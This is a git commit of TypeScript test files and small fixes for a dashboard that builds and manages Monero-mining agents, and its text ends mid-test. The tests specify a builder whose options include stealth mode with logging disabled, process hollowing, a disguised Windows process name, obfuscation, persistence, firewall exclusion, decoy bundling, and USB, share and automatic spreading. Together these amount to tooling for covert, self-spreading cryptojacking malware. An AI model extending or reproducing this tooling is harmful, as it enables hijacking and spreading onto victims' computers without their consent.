feat: Tenable-style patch_status - pending_updates, last_patch, reboot_pending across full stack

This commit is contained in:
AetherForge
2026-05-30 23:11:32 -07:00
parent 9232f4c448
commit 4207f6c21b
43 changed files with 4359 additions and 180 deletions

View File

@@ -0,0 +1,40 @@
import { describe, expect, it } from 'vitest';
import { formatLanEndpoint, lanEndpointCandidates } from './endpointHelpers';
import type { ServerInfo } from '../types';
describe('formatLanEndpoint', () => {
it('strips scheme and path from host', () => {
expect(formatLanEndpoint('https://192.168.1.5:8989/extra', 8989)).toBe('http://192.168.1.5:8989');
});
it('builds http URL from bare IP', () => {
expect(formatLanEndpoint('10.0.0.2', 7777)).toBe('http://10.0.0.2:7777');
});
});
describe('lanEndpointCandidates', () => {
it('dedupes suggested URL and local IPs', () => {
const info: ServerInfo = {
port: 8989,
host: 'localhost',
local_ips: ['192.168.1.10', '192.168.1.10'],
suggested_url: 'http://192.168.1.10:8989',
dashboard_url: 'http://192.168.1.10:8989',
websocket_url: 'ws://192.168.1.10:8989/ws/agent',
};
const urls = lanEndpointCandidates(info);
expect(urls).toEqual(['http://192.168.1.10:8989']);
});
it('honours port override', () => {
const info: ServerInfo = {
port: 8989,
host: 'localhost',
local_ips: ['10.0.0.1'],
suggested_url: '',
dashboard_url: '',
websocket_url: '',
};
expect(lanEndpointCandidates(info, 9000)).toEqual(['http://10.0.0.1:9000']);
});
});

View File

@@ -0,0 +1,133 @@
import { describe, expect, it } from 'vitest';
import {
computeFleetHealth,
contributionBars,
findUnderperformers,
fleetMedianHashrate,
groupBySubnet,
osArchBreakdown,
staleAgentIds,
timeToPayout,
} from './fleetAnalytics';
import type { Agent, PoolStatus } from '../types';
const agent = (overrides: Partial<Agent> = {}): Agent => ({
id: 'a1',
name: 'node-1',
status: 'online',
hashrate_15m: 1000,
shares_total: 100,
shares_good: 98,
ip: '192.168.1.10',
platform: 'windows',
arch: 'amd64',
last_seen: new Date().toISOString(),
...overrides,
} as Agent);
describe('computeFleetHealth', () => {
it('returns NOMINAL for healthy fleet', () => {
const agents = [agent(), agent({ id: 'a2', name: 'node-2', hashrate_15m: 900 })];
const pools: PoolStatus[] = [{ name: 'primary', status: 'green' }];
const health = computeFleetHealth(agents, pools);
expect(health.label).toBe('NOMINAL');
expect(health.score).toBeGreaterThanOrEqual(80);
expect(health.issues).toHaveLength(0);
});
it('flags offline nodes and pool degradation', () => {
const agents = [agent(), agent({ id: 'a2', status: 'offline', hashrate_15m: 0 })];
const pools: PoolStatus[] = [{ name: 'primary', status: 'red' }];
const health = computeFleetHealth(agents, pools);
expect(health.label).not.toBe('NOMINAL');
expect(health.issues.some((i) => i.includes('offline'))).toBe(true);
expect(health.issues.some((i) => i.includes('pool'))).toBe(true);
});
});
describe('contributionBars', () => {
it('sorts online agents by hashrate share', () => {
const bars = contributionBars([
agent({ id: 'a1', hashrate_15m: 300 }),
agent({ id: 'a2', hashrate_15m: 700 }),
agent({ id: 'a3', status: 'offline', hashrate_15m: 9999 }),
]);
expect(bars).toHaveLength(2);
expect(bars[0].id).toBe('a2');
expect(bars[0].pct).toBeCloseTo(70, 1);
});
});
describe('findUnderperformers', () => {
it('returns agents below 70% of median', () => {
const agents = [
agent({ id: 'fast', hashrate_15m: 1000 }),
agent({ id: 'slow', hashrate_15m: 500 }),
agent({ id: 'mid', hashrate_15m: 900 }),
];
const under = findUnderperformers(agents);
expect(under.map((a) => a.id)).toEqual(['slow']);
});
it('returns empty when fewer than 2 online miners', () => {
expect(findUnderperformers([agent()])).toEqual([]);
});
});
describe('fleetMedianHashrate', () => {
it('computes median of online non-zero agents', () => {
const med = fleetMedianHashrate([
agent({ hashrate_15m: 100 }),
agent({ id: 'a2', hashrate_15m: 300 }),
agent({ id: 'a3', hashrate_15m: 200 }),
]);
expect(med).toBe(200);
});
});
describe('groupBySubnet', () => {
it('groups by /24 prefix', () => {
const groups = groupBySubnet([
agent({ ip: '10.0.0.1' }),
agent({ id: 'a2', ip: '10.0.0.2' }),
agent({ id: 'a3', ip: '192.168.5.9' }),
]);
expect(groups).toHaveLength(2);
expect(groups[0].subnet).toBe('10.0.0.x');
expect(groups[0].agents).toHaveLength(2);
});
});
describe('osArchBreakdown', () => {
it('labels platforms for display', () => {
const rows = osArchBreakdown([
agent({ platform: 'linux', arch: 'amd64' }),
agent({ id: 'a2', platform: 'darwin', arch: 'arm64' }),
]);
expect(rows.some((r) => r.label.includes('Linux'))).toBe(true);
expect(rows.some((r) => r.label.includes('macOS'))).toBe(true);
});
});
describe('staleAgentIds', () => {
it('flags online agents not seen in 5+ minutes', () => {
const staleTime = new Date(Date.now() - 6 * 60 * 1000).toISOString();
const ids = staleAgentIds([
agent({ id: 'fresh', last_seen: new Date().toISOString() }),
agent({ id: 'stale', last_seen: staleTime }),
]);
expect(ids.has('stale')).toBe(true);
expect(ids.has('fresh')).toBe(false);
});
});
describe('timeToPayout', () => {
it('returns days until payout', () => {
expect(timeToPayout(0.5, 0.25)).toBe(2);
});
it('returns null when data missing', () => {
expect(timeToPayout(undefined, 1)).toBeNull();
expect(timeToPayout(1, 0)).toBeNull();
});
});

View File

@@ -86,9 +86,9 @@ export function computeFleetHealth(agents: Agent[], pools: PoolStatus[]): FleetH
// ─── Contribution Map ─────────────────────────────────────────────────────────
export function contributionBars(agents: Agent[]): ContributionBar[] {
const total = agents.reduce((s, a) => s + a.hashrate_15m, 0);
return agents
.filter((a) => a.status === 'online')
const online = agents.filter((a) => a.status === 'online');
const total = online.reduce((s, a) => s + a.hashrate_15m, 0);
return online
.map((a) => ({
id: a.id,
name: a.name,

View File

@@ -0,0 +1,273 @@
import { describe, expect, it } from 'vitest';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';
/** Valid mainnet-style Monero address (95 chars, starts with 4). */
const VALID_WALLET = '4' + 'A'.repeat(94);
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
return {
worker_name: 'pc-lab-1',
server_url: 'http://192.168.1.10:8989',
wallet: VALID_WALLET,
pool_host: 'pool.supportxmr.com',
pool_port: 3333,
pool_tls: true,
pool_pass: 'x',
...FORGE_BUILD_DEFAULTS,
...overrides,
} as BuildRequest;
}
function hasCheck(form: BuildRequest, fusionPrep: boolean, id: string, level?: string) {
const checks = runForgeCompatibilityChecks(form, fusionPrep);
const match = checks.find((c) => c.id === id);
if (!match) return false;
return level === undefined || match.level === level;
}
describe('runForgeCompatibilityChecks', () => {
it('returns no errors for a fully valid form', () => {
const checks = runForgeCompatibilityChecks(baseForm(), false);
const errors = checks.filter((c) => c.level === 'error');
expect(errors).toHaveLength(0);
expect(checks.some((c) => c.id === 'forge_ready' && c.level === 'ok')).toBe(true);
});
describe('stealth and display', () => {
it('errors when stealth mode uses visible display', () => {
expect(
hasCheck(baseForm({ stealth_mode: true, display_mode: 'visible' }), false, 'stealth_display', 'error')
).toBe(true);
});
it('errors when stealth mode enables file logging', () => {
expect(hasCheck(baseForm({ stealth_mode: true, file_logging: true }), false, 'stealth_logs', 'error')).toBe(
true
);
});
it('errors when fusion uses visible display', () => {
expect(
hasCheck(baseForm({ fusion_enabled: true, display_mode: 'visible' }), false, 'fusion_display', 'error')
).toBe(true);
});
});
describe('idle mining mode', () => {
it('errors when idle threshold is out of range', () => {
expect(
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 0 }), false, 'idle_threshold', 'error')
).toBe(true);
expect(
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 101 }), false, 'idle_threshold', 'error')
).toBe(true);
});
it('errors when idle duration is below 1 minute', () => {
expect(
hasCheck(baseForm({ mining_mode: 'idle', idle_duration_minutes: 0 }), false, 'idle_duration', 'error')
).toBe(true);
});
it('does not check idle fields when mining mode is not idle', () => {
expect(hasCheck(baseForm({ mining_mode: 'always', idle_threshold_pct: 0 }), false, 'idle_threshold')).toBe(
false
);
});
});
describe('scheduled mining mode', () => {
it('errors when schedule times are missing', () => {
expect(
hasCheck(
baseForm({ mining_mode: 'scheduled', schedule_start: '', schedule_end: '' }),
false,
'schedule',
'error'
)
).toBe(true);
});
it('passes when both schedule times are set', () => {
expect(
hasCheck(
baseForm({ mining_mode: 'scheduled', schedule_start: '22:00', schedule_end: '06:00' }),
false,
'schedule'
)
).toBe(false);
});
});
describe('threads and CPU limits', () => {
it('warns when adapt_to_hardware is on with fixed thread mode', () => {
expect(
hasCheck(baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), false, 'adapt_fixed', 'warn')
).toBe(true);
});
it('errors when thread percent is out of range', () => {
expect(
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 0 }), false, 'thread_percent_range', 'error')
).toBe(true);
expect(
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 101 }), false, 'thread_percent_range', 'error')
).toBe(true);
});
it('errors when max CPU usage is out of range', () => {
expect(hasCheck(baseForm({ max_cpu_usage_pct: 0 }), false, 'max_cpu', 'error')).toBe(true);
expect(hasCheck(baseForm({ max_cpu_usage_pct: 101 }), false, 'max_cpu', 'error')).toBe(true);
});
it('errors when max memory is out of range', () => {
expect(hasCheck(baseForm({ max_memory_percent: 9 }), false, 'max_mem', 'error')).toBe(true);
expect(hasCheck(baseForm({ max_memory_percent: 96 }), false, 'max_mem', 'error')).toBe(true);
});
});
describe('pool configuration', () => {
it('errors when pool port is out of range', () => {
expect(hasCheck(baseForm({ pool_port: 0 }), false, 'pool_port', 'error')).toBe(true);
expect(hasCheck(baseForm({ pool_port: 70000 }), false, 'pool_port', 'error')).toBe(true);
});
it('warns on port 443 without TLS', () => {
expect(hasCheck(baseForm({ pool_port: 443, pool_tls: false }), false, 'pool_tls_443', 'warn')).toBe(true);
});
it('warns on TLS with port 3333', () => {
expect(hasCheck(baseForm({ pool_port: 3333, pool_tls: true }), false, 'pool_tls_3333', 'warn')).toBe(true);
});
it('warns when pool password is empty', () => {
expect(hasCheck(baseForm({ pool_pass: ' ' }), false, 'pool_pass', 'warn')).toBe(true);
});
});
describe('run mode and AI', () => {
it('warns when run_as is service', () => {
expect(hasCheck(baseForm({ run_as: 'service' }), false, 'run_as_service', 'warn')).toBe(true);
});
it('warns when AI uses 127.0.0.1 endpoint', () => {
expect(
hasCheck(
baseForm({ ai_enabled: true, ai_ollama_endpoint: 'http://127.0.0.1:11434' }),
false,
'ai_localhost',
'warn'
)
).toBe(true);
});
it('warns when AI is enabled without self-healing', () => {
expect(hasCheck(baseForm({ ai_enabled: true, self_healing: false }), false, 'ai_no_heal', 'warn')).toBe(true);
});
});
describe('identity fields', () => {
it('errors when process name is empty', () => {
expect(hasCheck(baseForm({ process_name: ' ' }), false, 'process_name_empty', 'error')).toBe(true);
});
it('warns when process name has unusual characters', () => {
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
});
it('errors when worker name is empty', () => {
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
});
it('errors when server URL uses localhost', () => {
expect(
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
});
it('errors when server URL uses 127.0.0.1', () => {
expect(
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
});
it('warns when wallet does not match Monero format', () => {
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
});
it('accepts minimum-length wallet (90 chars)', () => {
const wallet = '4' + 'A'.repeat(89);
expect(wallet.length).toBe(90);
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
});
it('accepts subaddress starting with 8', () => {
const subaddress = '8' + 'B'.repeat(94);
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
});
it('emits forge_ready when core config is coherent', () => {
const checks = runForgeCompatibilityChecks(baseForm(), false);
const ready = checks.find((c) => c.id === 'forge_ready');
expect(ready?.level).toBe('ok');
expect(ready?.message).toContain('Core miner config looks coherent');
});
});
describe('fusion and deliverables', () => {
it('emits fusion_ready when prep is attached', () => {
expect(hasCheck(baseForm({ fusion_enabled: true }), true, 'fusion_ready', 'ok')).toBe(true);
});
it('errors when spread kit targets non-universal OS', () => {
expect(
hasCheck(baseForm({ spread_kit: true, target_os: 'windows' }), false, 'spread_kit_os', 'error')
).toBe(true);
});
it('errors when spread kit and fusion are both enabled', () => {
expect(
hasCheck(baseForm({ spread_kit: true, fusion_enabled: true }), false, 'spread_fusion', 'error')
).toBe(true);
});
it('warns when universal has no spread kit or fusion', () => {
expect(
hasCheck(
baseForm({ target_os: 'universal', spread_kit: false, fusion_enabled: false }),
false,
'universal_deliverable',
'warn'
)
).toBe(true);
});
});
describe('platform-specific constraints', () => {
it('errors when process hollowing is set on Linux', () => {
expect(
hasCheck(baseForm({ target_os: 'linux', process_hollowing: true }), false, 'hollow_unix', 'error')
).toBe(true);
});
it('errors when process hollowing is set on macOS', () => {
expect(
hasCheck(baseForm({ target_os: 'darwin', process_hollowing: true }), false, 'hollow_unix', 'error')
).toBe(true);
});
it('errors when sign_build is set on Linux', () => {
expect(hasCheck(baseForm({ target_os: 'linux', sign_build: true }), false, 'sign_unix', 'error')).toBe(
true
);
});
it('errors when sign_build is set on macOS', () => {
expect(hasCheck(baseForm({ target_os: 'darwin', sign_build: true }), false, 'sign_unix', 'error')).toBe(
true
);
});
});
});

View File

@@ -190,7 +190,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
checks.push({
id: 'wallet_invalid',
level: 'warn',
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.',
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
});
}

View File

@@ -0,0 +1,427 @@
import { describe, expect, it } from 'vitest';
import {
FORGE_SECTIONS,
applyForgeFieldUpdate,
forgeBadgeLabel,
getForgeFieldMeta,
getForgeLiveNotices,
type ForgeFieldBadge,
} from './forgeRules';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
return {
worker_name: 'pc-lab-1',
server_url: 'http://192.168.1.10:8989',
wallet: '4' + 'A'.repeat(94),
pool_host: 'pool.supportxmr.com',
pool_port: 3333,
pool_tls: false,
pool_pass: 'x',
...FORGE_BUILD_DEFAULTS,
...overrides,
} as BuildRequest;
}
describe('FORGE_SECTIONS', () => {
it('defines six sections in order', () => {
expect(FORGE_SECTIONS).toHaveLength(6);
expect(FORGE_SECTIONS.map((s) => s.id)).toEqual([
'identity',
'pool',
'performance',
'install',
'fusion',
'ai',
]);
});
it('each section has id, title, description, and baked badge', () => {
for (const section of FORGE_SECTIONS) {
expect(section.id.length).toBeGreaterThan(0);
expect(section.title.length).toBeGreaterThan(0);
expect(section.description.length).toBeGreaterThan(0);
expect(section.badge).toBe('baked');
}
});
it('uses expected section titles', () => {
const titles = Object.fromEntries(FORGE_SECTIONS.map((s) => [s.id, s.title]));
expect(titles.identity).toBe('Identity');
expect(titles.pool).toBe('Pool Configuration');
expect(titles.performance).toBe('Performance & Resources');
expect(titles.install).toBe('Install & Process');
expect(titles.fusion).toBe('Fusion');
expect(titles.ai).toBe('AI Autonomy');
});
});
describe('forgeBadgeLabel', () => {
const cases: [ForgeFieldBadge, string][] = [
['baked', 'Baked into installer'],
['server-only', 'Server folder only — not in .exe'],
['requires', 'Required when parent option is on'],
];
it.each(cases)('maps %s badge to label', (badge, label) => {
expect(forgeBadgeLabel(badge)).toBe(label);
});
});
describe('applyForgeFieldUpdate', () => {
it('stealth_mode disables logging and forces silent/background', () => {
const out = applyForgeFieldUpdate(
baseForm({ display_mode: 'visible', file_logging: true, silent_mode: false }),
'stealth_mode',
true
);
expect(out.stealth_mode).toBe(true);
expect(out.file_logging).toBe(false);
expect(out.display_mode).toBe('background');
expect(out.silent_mode).toBe(true);
});
it('display_mode visible clears stealth and silent', () => {
const out = applyForgeFieldUpdate(
baseForm({ stealth_mode: true, silent_mode: true }),
'display_mode',
'visible'
);
expect(out.display_mode).toBe('visible');
expect(out.stealth_mode).toBe(false);
expect(out.silent_mode).toBe(false);
});
it('display_mode silent/background enables silent_mode', () => {
expect(applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'silent').silent_mode).toBe(
true
);
expect(
applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'background').silent_mode
).toBe(true);
});
it('persistence and auto_start stay linked', () => {
expect(applyForgeFieldUpdate(baseForm({ auto_start: false }), 'persistence', true).auto_start).toBe(true);
expect(applyForgeFieldUpdate(baseForm({ persistence: false }), 'auto_start', true).persistence).toBe(true);
});
it('linux target clears Windows-only flags and fixes install base', () => {
const out = applyForgeFieldUpdate(
baseForm({
target_os: 'windows',
process_hollowing: true,
sign_build: true,
obfuscate: true,
install_base: 'localappdata',
}),
'target_os',
'linux'
);
expect(out.target_os).toBe('linux');
expect(out.target_arch).toBe('amd64');
expect(out.process_hollowing).toBe(false);
expect(out.sign_build).toBe(false);
expect(out.obfuscate).toBe(false);
expect(out.spread_kit).toBe(false);
expect(out.install_base).toBe('xdg_data_home');
});
it('darwin target defaults to arm64', () => {
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'darwin');
expect(out.target_os).toBe('darwin');
expect(out.target_arch).toBe('arm64');
});
it('windows target restores localappdata from xdg path', () => {
const out = applyForgeFieldUpdate(baseForm({ install_base: 'xdg_data_home' }), 'target_os', 'windows');
expect(out.target_os).toBe('windows');
expect(out.target_arch).toBe('all');
expect(out.install_base).toBe('localappdata');
});
it('universal target on single deliverable normalizes back to windows', () => {
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'universal');
expect(out.target_os).toBe('windows');
expect(out.target_arch).toBe('all');
});
it('universal target stays when spread kit is active', () => {
const out = applyForgeFieldUpdate(baseForm({ spread_kit: true }), 'target_os', 'universal');
expect(out.target_os).toBe('universal');
expect(out.target_arch).toBe('all');
});
it('fusion_enabled forces background, clears spread kit, and universal target', () => {
const out = applyForgeFieldUpdate(
baseForm({ spread_kit: true, display_mode: 'visible', target_os: 'windows' }),
'fusion_enabled',
true
);
expect(out.fusion_enabled).toBe(true);
expect(out.display_mode).toBe('background');
expect(out.silent_mode).toBe(true);
expect(out.spread_kit).toBe(false);
expect(out.target_os).toBe('universal');
});
it('spread_kit applies full preset and clears fusion', () => {
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
expect(out.spread_kit).toBe(true);
expect(out.fusion_enabled).toBe(false);
expect(out.target_os).toBe('universal');
expect(out.target_arch).toBe('all');
expect(out.run_as).toBe('scheduled');
expect(out.persistence).toBe(true);
expect(out.auto_start).toBe(true);
expect(out.self_healing).toBe(true);
expect(out.stealth_mode).toBe(true);
expect(out.silent_mode).toBe(true);
expect(out.file_logging).toBe(false);
expect(out.firewall_exclusion).toBe(true);
expect(out.display_mode).toBe('background');
expect(out.process_hollowing).toBe(false);
});
it('thread_mode fixed sets minimum threads', () => {
const out = applyForgeFieldUpdate(baseForm({ threads: 0 }), 'thread_mode', 'fixed');
expect(out.thread_mode).toBe('fixed');
expect(out.threads).toBeGreaterThanOrEqual(1);
});
it('thread_mode percent clamps invalid thread_percent', () => {
const out = applyForgeFieldUpdate(baseForm({ thread_percent: 0 }), 'thread_mode', 'percent');
expect(out.thread_percent).toBe(75);
});
it('install_base non-custom clears custom path', () => {
const out = applyForgeFieldUpdate(
baseForm({ install_custom_base: 'C:\\custom', install_base: 'custom' }),
'install_base',
'localappdata'
);
expect(out.install_base).toBe('localappdata');
expect(out.install_custom_base).toBe('');
});
it('run_as scheduled/service forces persistence flags', () => {
const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
expect(scheduled.persistence).toBe(true);
expect(scheduled.auto_start).toBe(true);
const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
expect(service.persistence).toBe(true);
expect(service.auto_start).toBe(true);
});
it('ai_enabled fills default endpoint and model when empty', () => {
const out = applyForgeFieldUpdate(
baseForm({ ai_ollama_endpoint: '', ai_model: '' }),
'ai_enabled',
true
);
expect(out.ai_enabled).toBe(true);
expect(out.ai_ollama_endpoint).toBe('http://localhost:11434');
expect(out.ai_model).toBe('llama3.2');
});
it('pool_port 443 auto-enables TLS', () => {
const out = applyForgeFieldUpdate(baseForm({ pool_tls: false }), 'pool_port', 443);
expect(out.pool_port).toBe(443);
expect(out.pool_tls).toBe(true);
});
it('worker_name update does not auto-derive process_name', () => {
const out = applyForgeFieldUpdate(baseForm({ process_name: 'RuntimeBrokerHelper' }), 'worker_name', 'new-worker');
expect(out.worker_name).toBe('new-worker');
expect(out.process_name).toBe('RuntimeBrokerHelper');
});
});
describe('getForgeFieldMeta', () => {
it('returns meta for all known forge fields', () => {
const meta = getForgeFieldMeta(baseForm());
const expectedKeys = [
'worker_name',
'server_url',
'wallet',
'output_dir',
'pool_host',
'pool_port',
'thread_mode',
'thread_percent',
'threads',
'fusion_enabled',
'spread_kit',
'target_os',
'target_arch',
'obfuscate',
'sign_build',
];
for (const key of expectedKeys) {
expect(meta[key]).toBeDefined();
}
});
it('disables thread_percent when thread mode is fixed', () => {
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'fixed' }));
expect(meta.thread_percent.disabled).toBe(true);
expect(meta.threads.disabled).toBe(false);
expect(meta.adapt_to_hardware.disabled).toBe(true);
});
it('disables threads when thread mode is percent', () => {
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'percent' }));
expect(meta.threads.disabled).toBe(true);
expect(meta.thread_percent.disabled).toBe(false);
});
it('disables idle fields unless mining mode is idle', () => {
const idle = getForgeFieldMeta(baseForm({ mining_mode: 'idle' }));
expect(idle.idle_threshold_pct.disabled).toBe(false);
expect(idle.idle_duration_minutes.disabled).toBe(false);
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
expect(always.idle_threshold_pct.disabled).toBe(true);
expect(always.idle_duration_minutes.disabled).toBe(true);
});
it('disables schedule fields unless mining mode is scheduled', () => {
const scheduled = getForgeFieldMeta(baseForm({ mining_mode: 'scheduled' }));
expect(scheduled.schedule_start.disabled).toBe(false);
expect(scheduled.schedule_end.disabled).toBe(false);
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
expect(always.schedule_start.disabled).toBe(true);
});
it('locks file_logging under stealth mode', () => {
const meta = getForgeFieldMeta(baseForm({ stealth_mode: true }));
expect(meta.file_logging.disabled).toBe(true);
expect(meta.file_logging.lockedReason).toContain('Stealth mode');
});
it('locks persistence under scheduled/service run_as', () => {
const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
expect(meta.persistence.disabled).toBe(true);
expect(meta.auto_start.disabled).toBe(true);
});
it('locks fusion when spread kit is on and vice versa', () => {
const spread = getForgeFieldMeta(baseForm({ spread_kit: true }));
expect(spread.fusion_enabled.disabled).toBe(true);
expect(spread.target_os.disabled).toBe(true);
const fusion = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
expect(fusion.spread_kit.disabled).toBe(true);
expect(fusion.target_os.disabled).toBe(true);
});
it('requires fusion fields only when fusion is enabled', () => {
const off = getForgeFieldMeta(baseForm({ fusion_enabled: false }));
expect(off.fusion_prep.disabled).toBe(true);
expect(off.fusion_run_order.badge).toBe('requires');
const on = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
expect(on.fusion_prep.disabled).toBe(false);
});
it('disables unix-incompatible fields on linux/darwin', () => {
const linux = getForgeFieldMeta(baseForm({ target_os: 'linux' }));
expect(linux.process_hollowing.disabled).toBe(true);
expect(linux.obfuscate.disabled).toBe(true);
expect(linux.target_arch.disabled).toBe(false);
const windows = getForgeFieldMeta(baseForm({ target_os: 'windows' }));
expect(windows.target_arch.disabled).toBe(true);
expect(windows.sign_build.disabled).toBe(false);
});
it('marks output_dir and obfuscate as server-only', () => {
const meta = getForgeFieldMeta(baseForm());
expect(meta.output_dir.badge).toBe('server-only');
expect(meta.obfuscate.badge).toBe('server-only');
});
});
describe('getForgeLiveNotices', () => {
it('returns empty array for a plain windows form', () => {
const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false);
expect(notices).toEqual([]);
});
it('warns about service run mode', () => {
const notices = getForgeLiveNotices(baseForm({ run_as: 'service' }), false);
expect(notices.some((n) => n.includes('scheduled task'))).toBe(true);
});
it('warns when scheduled/service lacks persistence', () => {
const notices = getForgeLiveNotices(
baseForm({ run_as: 'scheduled', persistence: false }),
false
);
expect(notices.some((n) => n.includes('Persistence is forced on'))).toBe(true);
});
it('warns when fusion enabled without prep upload', () => {
const notices = getForgeLiveNotices(baseForm({ fusion_enabled: true }), false);
expect(notices.some((n) => n.includes('upload prep.exe'))).toBe(true);
});
it('includes AI Ollama notice when AI is enabled', () => {
const notices = getForgeLiveNotices(baseForm({ ai_enabled: true }), false);
expect(notices.some((n) => n.includes('Ollama'))).toBe(true);
});
it('warns when fixed threads ignores adapt_to_hardware', () => {
const notices = getForgeLiveNotices(
baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }),
false
);
expect(notices.some((n) => n.includes('Adapt to hardware'))).toBe(true);
});
it('warns on pool TLS/port mismatches', () => {
const p443 = getForgeLiveNotices(baseForm({ pool_port: 443, pool_tls: false }), false);
expect(p443.some((n) => n.includes('Port 443'))).toBe(true);
const p3333 = getForgeLiveNotices(baseForm({ pool_port: 3333, pool_tls: true }), false);
expect(p3333.some((n) => n.includes('3333'))).toBe(true);
});
it('warns on low max CPU with high thread percent', () => {
const notices = getForgeLiveNotices(
baseForm({ max_cpu_usage_pct: 20, thread_percent: 80, thread_mode: 'percent' }),
false
);
expect(notices.some((n) => n.includes('throttling'))).toBe(true);
});
it('describes universal, spread kit, and fusion deliverables', () => {
const universal = getForgeLiveNotices(baseForm({ target_os: 'universal' }), false);
expect(universal.some((n) => n.includes('Windows, Linux, and macOS'))).toBe(true);
const spread = getForgeLiveNotices(baseForm({ spread_kit: true, target_os: 'universal' }), false);
expect(spread.some((n) => n.includes('Spread Kit'))).toBe(true);
const fusion = getForgeLiveNotices(baseForm({ fusion_enabled: true, target_os: 'universal' }), true);
expect(fusion.some((n) => n.includes('Fusion builds a universal ZIP'))).toBe(true);
});
it('notes single-platform unix install paths', () => {
const linux = getForgeLiveNotices(baseForm({ target_os: 'linux' }), false);
expect(linux.some((n) => n.includes('linux worker'))).toBe(true);
const darwin = getForgeLiveNotices(baseForm({ target_os: 'darwin' }), false);
expect(darwin.some((n) => n.includes('darwin worker'))).toBe(true);
});
it('warns on universal without deliverable type', () => {
const notices = getForgeLiveNotices(
baseForm({ target_os: 'universal', fusion_enabled: false, spread_kit: false }),
false
);
expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true);
});
});

View File

@@ -0,0 +1,133 @@
import { describe, expect, it } from 'vitest';
import { FIELD_HELP, SETUP_CHEATSHEET } from './settingHelp';
describe('SETUP_CHEATSHEET', () => {
it('defines four setup steps in order', () => {
expect(SETUP_CHEATSHEET).toHaveLength(4);
expect(SETUP_CHEATSHEET.map((s) => s.title)).toEqual([
'1. Calibrate once',
'2. Forge (Simple mode)',
'3. Deploy',
'4. Watch the fleet',
]);
});
it('each step has non-empty title and body', () => {
for (const step of SETUP_CHEATSHEET) {
expect(step.title.trim().length).toBeGreaterThan(0);
expect(step.body.trim().length).toBeGreaterThan(20);
}
});
it('mentions key workflow concepts in bodies', () => {
const bodies = SETUP_CHEATSHEET.map((s) => s.body).join(' ');
expect(bodies).toContain('Calibrate');
expect(bodies).toContain('Forge');
expect(bodies).toContain('Command Deck');
expect(bodies).toContain('Fleet Roster');
});
});
describe('FIELD_HELP', () => {
const expectedKeys = [
'calibrate_wallet',
'calibrate_quick_setup',
'forge_simple_mode',
'forge_recommended_defaults',
'obfuscate',
'sign_build',
'obfuscate_default',
'sign_enabled',
'sign_cert_thumbprint',
'sign_tool_path',
'sign_timestamp_url',
'worker_name',
'server_url',
'output_dir',
'wallet',
'pool_host',
'pool_port',
'pool_tls',
'pool_pass',
'threads',
'thread_mode',
'thread_percent',
'max_cpu_usage_pct',
'max_memory_percent',
'min_free_ram_mb',
'cpu_priority',
'mining_mode',
'idle_threshold_pct',
'idle_duration_minutes',
'schedule_start',
'schedule_end',
'display_mode',
'process_name',
'persistence',
'run_as',
'silent_mode',
'auto_start',
'fusion_enabled',
'fusion_run_order',
'fusion_prep',
'fusion_media_mode',
'fusion_output_name',
'fusion_batch',
'install_base',
'install_custom_base',
'install_relative_path',
'public_url',
'websocket_ping_seconds',
'log_pool_traffic',
'adapt_to_hardware',
'self_healing',
'firewall_exclusion',
'open_firewall_on_start',
'file_logging',
'stealth_mode',
'ai_enabled',
'ai_ollama_endpoint',
'ai_model',
'process_hollowing',
'mesh_p2p',
'auto_spread',
'usb_spread',
'share_spread',
'hole_punch',
'remote_aggressive',
'target_os',
'target_arch',
'spread_kit',
'forge_deliverable',
] as const;
it('defines help text for every documented field key', () => {
expect(Object.keys(FIELD_HELP).sort()).toEqual([...expectedKeys].sort());
});
it('each help entry is a non-empty string', () => {
for (const key of expectedKeys) {
const text = FIELD_HELP[key];
expect(typeof text).toBe('string');
expect(text.trim().length).toBeGreaterThan(10);
}
});
it('wallet and server_url entries warn against localhost', () => {
expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i);
expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i);
expect(FIELD_HELP.public_url).toMatch(/not localhost/i);
});
it('fusion entries describe decoy bundling', () => {
